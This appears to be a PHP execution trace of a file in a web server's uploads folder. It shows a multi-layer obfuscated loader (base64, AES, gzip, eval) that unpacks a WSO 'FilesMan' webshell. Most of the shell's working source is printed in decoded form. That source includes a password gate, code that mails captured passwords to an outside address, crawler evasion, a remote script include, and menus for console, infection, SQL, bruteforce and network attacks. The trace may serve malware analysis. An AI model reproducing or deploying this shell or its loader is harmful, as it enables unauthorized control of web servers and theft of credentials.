2	6	0	0.000526	460552	getcwd	0		/var/www/html/uploads/B47.php	1	0
2	6	1	0.000540	460600
2	6	R			'/var/www/html/uploads'
2	7	0	0.000556	460600	basename	0		/var/www/html/uploads/B47.php	1	1	'/uploads/B47.php'
2	7	1	0.000570	460664
2	7	R			'B47.php'
2	8	0	0.000584	460608	define	0		/var/www/html/uploads/B47.php	1	3	'_FILE_'	'/var/www/html/uploads/B47.php'	FALSE
2	8	1	0.000599	460760
2	8	R			TRUE
2	9	0	0.000612	460640	getcwd	0		/var/www/html/uploads/B47.php	2	0
2	9	1	0.000625	460688
2	9	R			'/var/www/html/uploads'
2	10	0	0.000639	460688	define	0		/var/www/html/uploads/B47.php	2	3	'_DIR_'	'/var/www/html/uploads'	FALSE
2	10	1	0.000653	460840
2	10	R			TRUE
1		A						/var/www/html/uploads/B47.php	2	$e7091 = 'WitRVDRlTnV1UkliMGpLdndRb1NQMW5HK01ESU5nOGRFYWFIc3cvTjNXK054QWozQjB5Z2kzcWdxR3YwWmlTME1FMEREOTZWVWdOcUs1SEJCcUdPc0JRaTU1Tlg0eFQ0aWFMTU4xczVZR2JjWWwyeVJTRFJPTlpydExpN1VZMno='
2	11	0	0.000686	460720	e7061	1		/var/www/html/uploads/B47.php	2	1	'WitRVDRlTnV1UkliMGpLdndRb1NQMW5HK01ESU5nOGRFYWFIc3cvTjNXK054QWozQjB5Z2kzcWdxR3YwWmlTME1FMEREOTZWVWdOcUs1SEJCcUdPc0JRaTU1Tlg0eFQ0aWFMTU4xczVZR2JjWWwyeVJTRFJPTlpydExpN1VZMno='
3	12	0	0.000706	460720	base64_decode	0		/var/www/html/uploads/B47.php	1	1	'WitRVDRlTnV1UkliMGpLdndRb1NQMW5HK01ESU5nOGRFYWFIc3cvTjNXK054QWozQjB5Z2kzcWdxR3YwWmlTME1FMEREOTZWVWdOcUs1SEJCcUdPc0JRaTU1Tlg0eFQ0aWFMTU4xczVZR2JjWWwyeVJTRFJPTlpydExpN1VZMno='
3	12	1	0.000726	460976
3	12	R			'Z+QT4eNuuRIb0jKvwQoSP1nG+MDINg8dEaaHsw/N3W+NxAj3B0ygi3qgqGv0ZiS0ME0DD96VUgNqK5HBBqGOsBQi55NX4xT4iaLMN1s5YGbcYl2yRSDRONZrtLi7UY2z'
2		A						/var/www/html/uploads/B47.php	1	$ed = 'Z+QT4eNuuRIb0jKvwQoSP1nG+MDINg8dEaaHsw/N3W+NxAj3B0ygi3qgqGv0ZiS0ME0DD96VUgNqK5HBBqGOsBQi55NX4xT4iaLMN1s5YGbcYl2yRSDRONZrtLi7UY2z'
3	13	0	0.000766	460944	openssl_decrypt	0		/var/www/html/uploads/B47.php	1	5	'Z+QT4eNuuRIb0jKvwQoSP1nG+MDINg8dEaaHsw/N3W+NxAj3B0ygi3qgqGv0ZiS0ME0DD96VUgNqK5HBBqGOsBQi55NX4xT4iaLMN1s5YGbcYl2yRSDRONZrtLi7UY2z'	'AES-256-CBC'	'1234567891234567'	0	'1234567891234567'
3	13	1	0.000803	461272
3	13	R			'eval("?>".urldecode(base64_decode(gzuncompress(base64_decode(urldecode($Fls)))))."<?php ");'
2		A						/var/www/html/uploads/B47.php	1	$n = 'eval("?>".urldecode(base64_decode(gzuncompress(base64_decode(urldecode($Fls)))))."<?php ");'
2	11	1	0.000838	460880
2	11	R			'eval("?>".urldecode(base64_decode(gzuncompress(base64_decode(urldecode($Fls)))))."<?php ");'
2	14	0	0.000868	462656	eval	1	'eval("?>".urldecode(base64_decode(gzuncompress(base64_decode(urldecode($Fls)))))."<?php ");'	/var/www/html/uploads/B47.php	2	0
3	15	0	0.000884	462656	urldecode	0		/var/www/html/uploads/B47.php(2) : eval()'d code	1	1	'eNrtvVlz4loSLvqXJGE6mofzUGAm2VJtBAikN5BcxSBhmsEgfv3NXPPSBHZ5d%2B8T58YOxy4bsbSGXDnnl%2FbEfbYnbj%2Fqry72pN22J3Yff17Hxkn%2FMefB3Nss%2Bsk5zE6NcGbfFn3%2FuOxMM6fwrHHCsRazIHE2q1W0s1dvfusQzpNf4Xy1jxrezZ4Mn%2BCnEVs9I7BW%2B2UawbPws3Xg%2F96vabc18WHsn2Py0xitp5fReHrB392Bd4o6x8QxRgcYw5ibbm%2BahL3pemrCc5nLf09aP0dTs4fvsSd%2B9xU%2F67Umnm%2FPPH%2BYuNMhvCsejXvtX1PDdzz8PJuaXucJ%2Fo6fu2f4bsa%2BN5qY7hTG6eB4Ub93izL%2B%2FPQ2Wh8T97l9CmbJka%2FtbbCC%2F48uy1lvv%2Bw0s3hMns9G2RHfmy2tlkHnZj%2B%2FZHxdZL1kPGcb4M%2FBm3n7uHP6iNanbTi7JnF%2FCt'
3	15	1	0.001101	524128
3	15	R			'eNrtvVlz4loSLvqXJGE6mofzUGAm2VJtBAikN5BcxSBhmsEgfv3NXPPSBHZ5d+8T58YOxy4bsbSGXDnnl/bEfbYnbj/qry72pN22J3Yff17Hxkn/MefB3Nss+sk5zE6NcGbfFn3/uOxMM6fwrHHCsRazIHE2q1W0s1dvfusQzpNf4Xy1jxrezZ4Mn+CnEVs9I7BW+2UawbPws3Xg/96vabc18WHsn2Py0xitp5fReHrB392Bd4o6x8QxRgcYw5ibbm+ahL3pemrCc5nLf09aP0dTs4fvsSd+9xU/67Umnm/PPH+YuNMhvCsejXvtX1PDdzz8PJuaXucJ/o6fu2f4bsa+N5qY7hTG6eB4Ub93izL+/PQ2Wh8T97l9CmbJka/tbbCC/48uy1lvv+w0s3hMns9G2RHfmy2tlkHnZj+/ZHxdZL1kPGcb4M/Bm3n7uHP6iNanbTi7JnF/Ct/vJk63m7jGiPyfPXt6LTmLV7+9ihpuY9mwt6WfK2eG+2lPp5k9'
3	16	0	0.001168	524096	base64_decode	0		/var/www/html/uploads/B47.php(2) : eval()'d code	1	1	'eNrtvVlz4loSLvqXJGE6mofzUGAm2VJtBAikN5BcxSBhmsEgfv3NXPPSBHZ5d+8T58YOxy4bsbSGXDnnl/bEfbYnbj/qry72pN22J3Yff17Hxkn/MefB3Nss+sk5zE6NcGbfFn3/uOxMM6fwrHHCsRazIHE2q1W0s1dvfusQzpNf4Xy1jxrezZ4Mn+CnEVs9I7BW+2UawbPws3Xg/96vabc18WHsn2Py0xitp5fReHrB392Bd4o6x8QxRgcYw5ibbm+ahL3pemrCc5nLf09aP0dTs4fvsSd+9xU/67Umnm/PPH+YuNMhvCsejXvtX1PDdzz8PJuaXucJ/o6fu2f4bsa+N5qY7hTG6eB4Ub93izL+/PQ2Wh8T97l9CmbJka/tbbCC/48uy1lvv+w0s3hMns9G2RHfmy2tlkHnZj+/ZHxdZL1kPGcb4M/Bm3n7uHP6iNanbTi7JnF/Ct/vJk63m7jGiPyfPXt6LTmLV7+9ihpuY9mwt6WfK2eG+2lPp5k9'
3	16	1	0.001412	581472
3	16	R			'x��Ys�Z\022.��$a:���P`&�Rm\004\b�7�\\� a�� ~��\\��\004vyw�\023��\016�.\033���\\9��}�\'n?�.��ݶ\'v\037^��I�1���,��9�N�pf�\026}���L3��q±\026� q6�U��Wo~�\020Γ_�|��\032�͞\f��\021[=#�V�e\032���u�ޯi�5�a�c��\030����xz��݁w�:��1F\a\030Ø�no����zj�s��OZ?GS���\'~�\025?�&�o�<���!�+\036�{�_S�w<�<��^�\t����g�nƾ7���\024���xQ�w�2���6Z\037\023��}\nfɑ��m����.�Yo��4�xL��F�\021ߛ-��A�f?�d|]d�d<g\033���y��s��֧m8�&q\n��&N���ƈ��={z-9�W���\032ncٰ���+g��iO��=�Z�$�n\036�f�9���I���$^��3�6�g����[9��\021L~'
3	17	0	0.002062	520000	gzuncompress	0		/var/www/html/uploads/B47.php(2) : eval()'d code	1	1	'x��Ys�Z\022.��$a:���P`&�Rm\004\b�7�\\� a�� ~��\\��\004vyw�\023��\016�.\033���\\9��}�\'n?�.��ݶ\'v\037^��I�1���,��9�N�pf�\026}���L3��q±\026� q6�U��Wo~�\020Γ_�|��\032�͞\f��\021[=#�V�e\032���u�ޯi�5�a�c��\030����xz��݁w�:��1F\a\030Ø�no����zj�s��OZ?GS���\'~�\025?�&�o�<���!�+\036�{�_S�w<�<��^�\t����g�nƾ7���\024���xQ�w�2���6Z\037\023��}\nfɑ��m����.�Yo��4�xL��F�\021ߛ-��A�f?�d|]d�d<g\033���y��s��֧m8�&q\n��&N���ƈ��={z-9�W���\032ncٰ���+g��iO��=�Z�$�n\036�f�9���I���$^��3�6�g����[9��\021L~'
3	17	1	0.003184	692064
3	17	R			'JTNDJTNGcGhwJTBBJTJGJTJGLS0tLS0tLS0tLS0tLS1XYXRjaGluZyt3ZWJzaGVsbCUyMS0tLS0tLS0tLS0tLS0tJTBBaWYlMjhhcnJheV9rZXlfZXhpc3RzJTI4JTI3d2F0Y2hpbmclMjclMkMlMjRfUE9TVCUyOSUyOSU3QiUwQSUwOSUyNHRtcCslM0QrJTI0X1NFUlZFUiU1QiUyN1NFUlZFUl9OQU1FJTI3JTVELiUyNF9TRVJWRVIlNUIlMjdQSFBfU0VMRiUyNyU1RC4lMjIlNUNuJTIyLiUyNF9QT1NUJTVCJTI3cGFzcyUyNyU1RCUzQislNDBtYWlsJTI4JTI3eHh4JTQwbWFpbC5ydSUyNyUyQyslMjdyb290JTI3JTJDKyUyNHRtcCUyOSUzQislMkYlMkYrRWRpdCtvcitkZWxldGUlMjElMEElN0QlMEElMkYlMkYtLS0tLS0tLS0tLS0tLS0tLVBhc3N3b3JkLS0tLS0tLS0tLS0t'
3	18	0	0.003333	634688	base64_decode	0		/var/www/html/uploads/B47.php(2) : eval()'d code	1	1	'JTNDJTNGcGhwJTBBJTJGJTJGLS0tLS0tLS0tLS0tLS1XYXRjaGluZyt3ZWJzaGVsbCUyMS0tLS0tLS0tLS0tLS0tJTBBaWYlMjhhcnJheV9rZXlfZXhpc3RzJTI4JTI3d2F0Y2hpbmclMjclMkMlMjRfUE9TVCUyOSUyOSU3QiUwQSUwOSUyNHRtcCslM0QrJTI0X1NFUlZFUiU1QiUyN1NFUlZFUl9OQU1FJTI3JTVELiUyNF9TRVJWRVIlNUIlMjdQSFBfU0VMRiUyNyU1RC4lMjIlNUNuJTIyLiUyNF9QT1NUJTVCJTI3cGFzcyUyNyU1RCUzQislNDBtYWlsJTI4JTI3eHh4JTQwbWFpbC5ydSUyNyUyQyslMjdyb290JTI3JTJDKyUyNHRtcCUyOSUzQislMkYlMkYrRWRpdCtvcitkZWxldGUlMjElMEElN0QlMEElMkYlMkYtLS0tLS0tLS0tLS0tLS0tLVBhc3N3b3JkLS0tLS0tLS0tLS0t'
3	18	1	0.003861	806752
3	18	R			'%3C%3Fphp%0A%2F%2F--------------Watching+webshell%21--------------%0Aif%28array_key_exists%28%27watching%27%2C%24_POST%29%29%7B%0A%09%24tmp+%3D+%24_SERVER%5B%27SERVER_NAME%27%5D.%24_SERVER%5B%27PHP_SELF%27%5D.%22%5Cn%22.%24_POST%5B%27pass%27%5D%3B+%40mail%28%27xxx%40mail.ru%27%2C+%27root%27%2C+%24tmp%29%3B+%2F%2F+Edit+or+delete%21%0A%7D%0A%2F%2F-----------------Password---------------------%0A%24%E2%96%9B+%3D+%2221232f297a57a5a743894a0e4a801fc3%22%3B+%2F%2Fadmin%0A%24%E2%96%98+%3D+true%3B%0A%24%E2%96%9C+%3D'
3	19	0	0.003971	634688	urldecode	0		/var/www/html/uploads/B47.php(2) : eval()'d code	1	1	'%3C%3Fphp%0A%2F%2F--------------Watching+webshell%21--------------%0Aif%28array_key_exists%28%27watching%27%2C%24_POST%29%29%7B%0A%09%24tmp+%3D+%24_SERVER%5B%27SERVER_NAME%27%5D.%24_SERVER%5B%27PHP_SELF%27%5D.%22%5Cn%22.%24_POST%5B%27pass%27%5D%3B+%40mail%28%27xxx%40mail.ru%27%2C+%27root%27%2C+%24tmp%29%3B+%2F%2F+Edit+or+delete%21%0A%7D%0A%2F%2F-----------------Password---------------------%0A%24%E2%96%9B+%3D+%2221232f297a57a5a743894a0e4a801fc3%22%3B+%2F%2Fadmin%0A%24%E2%96%98+%3D+true%3B%0A%24%E2%96%9C+%3D'
3	19	1	0.004981	765792
3	19	R			'<?php\n//--------------Watching webshell!--------------\nif(array_key_exists(\'watching\',$_POST)){\n\t$tmp = $_SERVER[\'SERVER_NAME\'].$_SERVER[\'PHP_SELF\']."\\n".$_POST[\'pass\']; @mail(\'xxx@mail.ru\', \'root\', $tmp); // Edit or delete!\n}\n//-----------------Password---------------------\n$▛ = "21232f297a57a5a743894a0e4a801fc3"; //admin\n$▘ = true;\n$▜ = \'UTF-8\';\n$▚ = \'FilesMan\';\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\n\tpr'
3	20	0	0.007640	1097936	eval	1	'?><?php\n//--------------Watching webshell!--------------\nif(array_key_exists(\'watching\',$_POST)){\n\t$tmp = $_SERVER[\'SERVER_NAME\'].$_SERVER[\'PHP_SELF\']."\\n".$_POST[\'pass\']; @mail(\'xxx@mail.ru\', \'root\', $tmp); // Edit or delete!\n}\n//-----------------Password---------------------\n$▛ = "21232f297a57a5a743894a0e4a801fc3"; //admin\n$▘ = true;\n$▜ = \'UTF-8\';\n$▚ = \'FilesMan\';\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\n\tprototype(md5($_SERVER[\'HTTP_HOST\'])."key", $▙);\n}\nif(empty($_POST[\'charset\']))\n\t$_POST[\'charset\'] = $▜;\nif (!isset($_POST[\'ne\'])) {\n\tif(isset($_POST[\'a\'])) $_POST[\'a\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'a\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\n\tif(isset($_POST[\'c\'])) $_POST[\'c\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'c\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\n\tif(isset($_POST[\'p1\'])) $_POST[\'p1\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p1\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\n\tif(isset($_POST[\'p2\'])) $_POST[\'p2\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p2\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\n\tif(isset($_POST[\'p3\'])) $_POST[\'p3\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p3\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\n}\nfunction decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}\n@ini_set(\'error_log\',NULL);\n@ini_set(\'log_errors\',0);\n@ini_set(\'max_execution_time\',0);\n@set_time_limit(0);\nif (PHP_VERSION_ID < 70000)\n\t@set_magic_quotes_runtime(0);\n@define(\'VERSION\', \'4.2.5\');\nif(get_magic_quotes_gpc()) {\n\tfunction stripslashes_array($array) {\n\t\treturn is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);\n\t}\n\t$_POST = stripslashes_array($_POST);\n    $_COOKIE = stripslashes_array($_COOKIE);\n}\n/* (С) 11.2011 oRb */\nif(!empty($▛)) {\n    if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $▛))\n        prototype(md5($_SERVER[\'HTTP_HOST\']), $▛);\n    if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $▛))\n        hardLogin();\n}\nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\n    $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$▘;\nfunction hardLogin() {\n\t\tif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n\t\t  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n\t\t  if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n\t\t  header(\'HTTP/1.0 404 Not Found\');\n\t\t  exit;\n\t\t  }\n\t\t}\n\tdie("<pre align=center><form method=post>Password<br><input type=password name=pass style=\'background-color:whitesmoke;border:1px solid #FFF;outline:none;\' required><input type=submit name=\'watching\' value=\'submit\' style=\'border:none;background-color:#56AD15;color:#fff;cursor:pointer;\'></form></pre>");\n}\nif(strtolower(substr(PHP_OS,0,3)) == "win")\n\t$os = \'win\';\nelse\n\t$os = \'nix\';\n$safe_mode = @ini_get(\'safe_mode\');\nif(!$safe_mode)\n    error_reporting(0);\n$disable_functions = @ini_get(\'disable_functions\');\n$home_cwd = @getcwd();\nif(isset($_POST[\'c\']))\n\t@chdir($_POST[\'c\']);\n$cwd = @getcwd();\nif($os == \'win\') {\n\t$home_cwd = str_replace("\\\\", "/", $home_cwd);\n\t$cwd = str_replace("\\\\", "/", $cwd);\n}\nif($cwd[strlen($cwd)-1] != \'/\')\n\t$cwd .= \'/\';\n/* (С) 04.2015 Pirat */\nfunction hardHeader() {\n\tif(empty($_POST[\'charset\']))\n\t\t$_POST[\'charset\'] = $GLOBALS[\'▜\'];\n\techo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title>" . $_SERVER[\'HTTP_HOST\'] . " - WSO " . VERSION ."</title>\n<style>\n\tbody {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\n\t#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(\'\'); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\n\tbody,td,th\t{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\n\ttable.info\t{color:#C3C3C3;}\n\ttable#toolsTbl {background-color: #060A10;}\n\tspan,h1,a\t{color:#fff !important;}\n\tspan\t\t{font-weight:bolder;}\n\th1\t\t\t{border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#060a10;}\n\ta\t\t\t{text-decoration:none;}\n\ta:hover\t\t{text-decoration:underline;}\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}\n\tlabel {position:relative}\n\tlabel:after {content:\'<>\';font:10px \'Consolas\', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\n\tlabel:before {content:\'\';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\n\tform\t\t{margin:0px;}\n\t#toolsTbl\t{text-align:center;}\n\t#fak \t\t{background:none;}\n\t#fak td \t{padding:5px 0 0 0;}\n\tiframe\t\t{border:1px solid #060a10;}\n\t.toolsInp\t{width:300px}\n\t.main th\t{text-align:left;background-color:#060a10;}\n\t.main tr:hover{background-color:#354252;}\n\t.main td, th{vertical-align:middle;}\n\tinput[type=\'submit\']{background-color:#2E6E9C;}\n\tinput[type=\'button\']{background-color:#2E6E9C;}\n\tinput[type=\'submit\']:hover{background-color:#56AD15;}\n\tinput[type=\'button\']:hover{background-color:#56AD15;}\n\t.l1\t\t\t{background-color:#202832;}\n\tpre\t\t\t{font:9pt Courier New;}\n</style>\n<SCRIPT SRC=http://www.r57.gen.tr/yazciz/ciz.js></SCRIPT>\n<script>\n    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\n    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\n    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\n    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';\n    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';\n    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';\n    var d = document;\n\t\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr=\'\';var enc_str=\'\';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\n\tfunction utf8_encode(argString){var string=(argString+\'\');var utftext=\'\',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\n\tfunction base64_encode(data){var b64 = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc=\'\',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+\'\');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join(\'\');switch (data.length%3){case 1:enc=enc.slice(0,-2)+\'==\';break;case 2:enc=enc.slice(0,-1)+\'=\';break;}return enc;}\n\tfunction set(a,c,p1,p2,p3,charset) {\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n\t\td.mf.a.value = encrypt(d.mf.a.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\n\t\td.mf.c.value = encrypt(d.mf.c.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n\t}\n\tfunction g(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\td.mf.submit();\n\t}\n\tfunction a(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\tvar params = \'ajax=true\';\n\t\tfor(i=0;i<d.mf.elements.length;i++)\n\t\t\tparams += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\n\t\tsr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);\n\t}\n\tfunction sr(url, params) {\n\t\tif (window.XMLHttpRequest)\n\t\t\treq = new XMLHttpRequest();\n\t\telse if (window.ActiveXObject)\n\t\t\treq = new ActiveXObject(\'Microsoft.XMLHTTP\');\n        if (req) {\n            req.onreadystatechange = processReqChange;\n            req.open(\'POST\', url, true);\n            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\n            req.send(params);\n        }\n\t}\n\tfunction processReqChange() {\n\t\tif( (req.readyState == 4) )\n\t\t\tif(req.status == 200) {\n\t\t\t\tvar reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\n\t\t\t\tvar arr=reg.exec(req.responseText);\n\t\t\t\teval(arr[2].substr(0, arr[1]));\n\t\t\t} else alert(\'Request error!\');\n\t}\n</script>\n<head><body><div style=\'position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;\'>\n<form method=post name=mf style=\'display:none;\'>\n<input type=hidden name=a>\n<input type=hidden name=c>\n<input type=hidden name=p1>\n<input type=hidden name=p2>\n<input type=hidden name=p3>\n<input type=hidden name=charset>\n</form>";\n\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\n\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\n\t$totalSpace = $totalSpace?$totalSpace:1;\n\t$release = @php_uname(\'r\');\n\t$kernel = @php_uname(\'s\');\n\t$explink = \'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=\';\n\tif(strpos(\'Linux\', $kernel) !== false)\n\t\t$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\n\telse\n\t\t$explink .= urlencode($kernel . \' \' . substr($release,0,3));\n\tif(!function_exists(\'posix_getegid\')) {\n\t\t$user = @get_current_user();\n\t\t$uid = @getmyuid();\n\t\t$gid = @getmygid();\n\t\t$group = "?";\n\t} else {\n\t\t$uid = @posix_getpwuid(@posix_geteuid());\n\t\t$gid = @posix_getgrgid(@posix_getegid());\n\t\t$user = $uid[\'name\'];\n\t\t$uid = $uid[\'uid\'];\n\t\t$group = $gid[\'name\'];\n\t\t$gid = $gid[\'gid\'];\n\t}\n\t$cwd_links = \'\';\n\t$path = explode("/", $GLOBALS[\'cwd\']);\n\t$n=count($path);\n\tfor($i=0; $i<$n-1; $i++) {\n\t\t$cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";\n\t\tfor($j=0; $j<=$i; $j++)\n\t\t\t$cwd_links .= $path[$j].\'/\';\n\t\t$cwd_links .= "\\")\'>".$path[$i]."/</a>";\n\t}\n\t$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\n\t$opt_charsets = \'\';\n\tforeach($charsets as $▟)\n\t\t$opt_charsets .= \'<option value="\'.$▟.\'" \'.($_POST[\'charset\']==$▟?\'selected\':\'\').\'>\'.$▟.\'</option>\';\n\t$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Infect\'=>\'Infect\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'Safe mode\'=>\'SafeMode\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\');\n\tif(!empty($GLOBALS[\'▛\']))\n\t$m[\'Logout\'] = \'Logout\';\n\t$m[\'Self remove\'] = \'SelfRemove\';\n\t$menu = \'\';\n\tforeach($m as $k => $v)\n\t\t$menu .= \'<th>[ <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a> ]</th>\';\n\t$drives = "";\n\tif ($GLOBALS[\'os\'] == \'win\') {\n\t\tforeach(range(\'c\',\'z\') as $drive)\n\t\tif (is_dir($drive.\':\\\\\'))\n\t\t\t$drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\n\t}\n\t/* (С) 08.2015 dmkcv */\n\techo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\'.($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\').\'</span></td>\'.\n\t\t \'<td><nobr>\'.substr(@php_uname(), 0, 120).\' <a href="http://noreferer.de/?http://www.google.com/search?q=\'.urlencode(@php_uname()).\'" target="_blank">[ Google ]</a> <a href="\'.$explink.\'" target=_blank>[ Exploit-DB ]</a></nobr><br>\'.$uid.\' ( \'.$user.\' ) <span>Group:</span> \'.$gid.\' ( \' .$group. \' )<br>\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#FFDB5F><b>OFF</b></font>\').\' <a href=# onclick="g(\\\'Php\\\',null,null,\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>\'.viewSize($totalSpace).\' <span>Free:</span> \'.viewSize($freeSpace).\' 